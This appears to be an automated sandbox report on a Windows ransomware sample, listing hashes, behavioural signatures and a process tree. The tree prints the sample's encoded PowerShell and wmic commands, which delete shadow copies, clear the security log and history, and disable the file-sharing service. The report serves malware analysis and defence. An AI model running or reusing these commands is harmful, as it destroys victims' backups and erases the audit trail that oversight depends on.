Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
06-03-2022 04:34
Static task
static1
Behavioral task
behavioral1
Sample
3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe
Resource
win7-20220223-en
Behavioral task
behavioral2
Sample
3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe
Resource
win10v2004-en-20220112
General
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Target
3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe
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Size
244KB
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MD5
35565a07ab5f0da110dc5694cccea587
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SHA1
71532453577d0c7ef957a3c47eed5192fa9651c6
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SHA256
3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177
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SHA512
36d899a706dda4b2b18ccd80d8b97f6c3e1247b9beac6bfe564f841b4f8279f11f127fb8dd8969a704c83244a1553fca32de2867576eb12793986bc67e2c20ae
Malware Config
Extracted
C:\readme-warning.txt
Signatures
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\dmap 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe File created C:\Windows\dmap2 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1748 powershell.exe 3880 powershell.exe 3808 powershell.exe 1744 powershell.exe 2216 powershell.exe 2148 powershell.exe 3812 powershell.exe 1748 powershell.exe 3812 powershell.exe 1744 powershell.exe 3880 powershell.exe 2216 powershell.exe 3808 powershell.exe 2148 powershell.exe -
Suspicious use of AdjustPrivilegeToken 62 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1468 wmic.exe Token: SeSecurityPrivilege 1468 wmic.exe Token: SeTakeOwnershipPrivilege 1468 wmic.exe Token: SeLoadDriverPrivilege 1468 wmic.exe Token: SeSystemProfilePrivilege 1468 wmic.exe Token: SeSystemtimePrivilege 1468 wmic.exe Token: SeProfSingleProcessPrivilege 1468 wmic.exe Token: SeIncBasePriorityPrivilege 1468 wmic.exe Token: SeCreatePagefilePrivilege 1468 wmic.exe Token: SeBackupPrivilege 1468 wmic.exe Token: SeRestorePrivilege 1468 wmic.exe Token: SeShutdownPrivilege 1468 wmic.exe Token: SeDebugPrivilege 1468 wmic.exe Token: SeSystemEnvironmentPrivilege 1468 wmic.exe Token: SeRemoteShutdownPrivilege 1468 wmic.exe Token: SeUndockPrivilege 1468 wmic.exe Token: SeManageVolumePrivilege 1468 wmic.exe Token: 33 1468 wmic.exe Token: 34 1468 wmic.exe Token: 35 1468 wmic.exe Token: 36 1468 wmic.exe Token: SeIncreaseQuotaPrivilege 1468 wmic.exe Token: SeSecurityPrivilege 1468 wmic.exe Token: SeTakeOwnershipPrivilege 1468 wmic.exe Token: SeLoadDriverPrivilege 1468 wmic.exe Token: SeSystemProfilePrivilege 1468 wmic.exe Token: SeSystemtimePrivilege 1468 wmic.exe Token: SeProfSingleProcessPrivilege 1468 wmic.exe Token: SeIncBasePriorityPrivilege 1468 wmic.exe Token: SeCreatePagefilePrivilege 1468 wmic.exe Token: SeBackupPrivilege 1468 wmic.exe Token: SeRestorePrivilege 1468 wmic.exe Token: SeShutdownPrivilege 1468 wmic.exe Token: SeDebugPrivilege 1468 wmic.exe Token: SeSystemEnvironmentPrivilege 1468 wmic.exe Token: SeRemoteShutdownPrivilege 1468 wmic.exe Token: SeUndockPrivilege 1468 wmic.exe Token: SeManageVolumePrivilege 1468 wmic.exe Token: 33 1468 wmic.exe Token: 34 1468 wmic.exe Token: 35 1468 wmic.exe Token: 36 1468 wmic.exe Token: SeBackupPrivilege 3348 vssvc.exe Token: SeRestorePrivilege 3348 vssvc.exe Token: SeAuditPrivilege 3348 vssvc.exe Token: SeDebugPrivilege 3880 powershell.exe Token: SeDebugPrivilege 3812 powershell.exe Token: SeDebugPrivilege 1744 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeDebugPrivilege 2148 powershell.exe Token: SeDebugPrivilege 3808 powershell.exe Token: SeSecurityPrivilege 3808 powershell.exe Token: SeBackupPrivilege 3808 powershell.exe Token: SeSecurityPrivilege 3808 powershell.exe Token: SeSecurityPrivilege 1744 powershell.exe Token: SeBackupPrivilege 1744 powershell.exe Token: SeSecurityPrivilege 1744 powershell.exe Token: SeSecurityPrivilege 3808 powershell.exe Token: SeBackupPrivilege 3808 powershell.exe Token: SeSecurityPrivilege 1744 powershell.exe Token: SeBackupPrivilege 1744 powershell.exe -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 656 wrote to memory of 3812 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 61 PID 656 wrote to memory of 3812 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 61 PID 656 wrote to memory of 3812 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 61 PID 656 wrote to memory of 3808 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 62 PID 656 wrote to memory of 3808 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 62 PID 656 wrote to memory of 3808 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 62 PID 656 wrote to memory of 2216 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 63 PID 656 wrote to memory of 2216 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 63 PID 656 wrote to memory of 2216 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 63 PID 656 wrote to memory of 380 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 64 PID 656 wrote to memory of 380 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 64 PID 656 wrote to memory of 380 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 64 PID 656 wrote to memory of 2148 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 69 PID 656 wrote to memory of 2148 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 69 PID 656 wrote to memory of 2148 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 69 PID 656 wrote to memory of 1468 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 80 PID 656 wrote to memory of 1468 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 80 PID 656 wrote to memory of 1468 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 80 PID 656 wrote to memory of 1748 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 79 PID 656 wrote to memory of 1748 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 79 PID 656 wrote to memory of 1748 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 79 PID 656 wrote to memory of 1744 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 73 PID 656 wrote to memory of 1744 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 73 PID 656 wrote to memory of 1744 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 73 PID 656 wrote to memory of 3880 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 72 PID 656 wrote to memory of 3880 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 72 PID 656 wrote to memory of 3880 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 72 PID 656 wrote to memory of 2264 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 71 PID 656 wrote to memory of 2264 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 71 PID 656 wrote to memory of 2264 656 3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe 71
Processes
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C:\Users\Admin\AppData\Local\Temp\3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe"C:\Users\Admin\AppData\Local\Temp\3cf97d4c223b880d0f5191c1c41d5303d7cb94420a172500ec2b81864647a177.exe"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ep bypass -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AEMAbwBwAHkAfAAgAFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3812
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc QwBsAGUAYQByAC0ARQB2AGUAbgB0AGwAbwBnACAALQBMAG8AZwBOAGEAbQBlACAAcwBlAGMAdQByAGkAdAB5AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3808
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc QwBsAGUAYQByAC0ASABpAHMAdABvAHIAeQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2216
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C:\Windows\SysWOW64\sc.exesc config LanmanServer start= disabled2⤵PID:380
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ep bypass -e RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAUwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAEMAbABhAHMAcwAgAF8AXwBFAHYAZQBuAHQARgBpAGwAdABlAHIAIAAtAEYAaQBsAHQAZQByACAAIgBOAGEAbQBlAD0AJwBmAHUAYwBrAGEAbQBtADMAJwAiACAAfAAgAFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAFYAZQByAGIAbwBzAGUADQAKAEcAZQB0AC0AVwBNAEkATwBiAGoAZQBjAHQAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAFMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABDAG8AbQBtAGEAbgBkAEwAaQBuAGUARQB2AGUAbgB0AEMAbwBuAHMAdQBtAGUAcgAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnAGYAdQBjAGsAYQBtAG0AMwAnACIAIAB8ACAAUgBlAG0AbwB2AGUALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AVgBlAHIAYgBvAHMAZQANAAoARwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAUwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAEMAbABhAHMAcwAgAF8AXwBGAGkAbAB0AGUAcgBUAG8AQwBvAG4AcwB1AG0AZQByAEIAaQBuAGQAaQBuAGcAIAAtAEYAaQBsAHQAZQByACAAIgBfAF8AUABhAHQAaAAgAEwASQBLAEUAIAAnACUAZgB1AGMAawBhAG0AbQAzACUAJwAiACAAfAAgAFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAFYAZQByAGIAbwBzAGUADQAKAEcAZQB0AC0AVwBNAEkATwBiAGoAZQBjAHQAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAFMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABfAF8ARQB2AGUAbgB0AEYAaQBsAHQAZQByACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQA9ACcAZgB1AGMAawBhAG0AbQA0ACcAIgAgAHwAIABSAGUAbQBvAHYAZQAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBWAGUAcgBiAG8AcwBlAA0ACgBHAGUAdAAtAFcATQBJAE8AYgBqAGUAYwB0ACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABTAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAQwBvAG0AbQBhAG4AZABMAGkAbgBlAEUAdgBlAG4AdABDAG8AbgBzAHUAbQBlAHIAIAAtAEYAaQBsAHQAZQByACAAIgBOAGEAbQBlAD0AJwBmAHUAYwBrAGEAbQBtADQAJwAiACAAfAAgAFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAFYAZQByAGIAbwBzAGUADQAKAEcAZQB0AC0AVwBNAEkATwBiAGoAZQBjAHQAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAFMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABfAF8ARgBpAGwAdABlAHIAVABvAEMAbwBuAHMAdQBtAGUAcgBCAGkAbgBkAGkAbgBnACAALQBGAGkAbAB0AGUAcgAgACIAXwBfAFAAYQB0AGgAIABMAEkASwBFACAAJwAlAGYAdQBjAGsAYQBtAG0ANAAlACcAIgAgAHwAIABSAGUAbQBvAHYAZQAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBWAGUAcgBiAG8AcwBlAA0ACgANAAoAAAA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148
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C:\Windows\SysWOW64\sc.exesc config LanmanServer start= disabled2⤵PID:2264
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc QwBsAGUAYQByAC0ASABpAHMAdABvAHIAeQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3880
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc QwBsAGUAYQByAC0ARQB2AGUAbgB0AGwAbwBnACAALQBMAG8AZwBOAGEAbQBlACAAcwBlAGMAdQByAGkAdAB5AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ep bypass -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AEMAbwBwAHkAfAAgAFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748
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C:\Windows\SysWOW64\Wbem\wmic.exewmic shadowcopy delete /nointeractive2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3348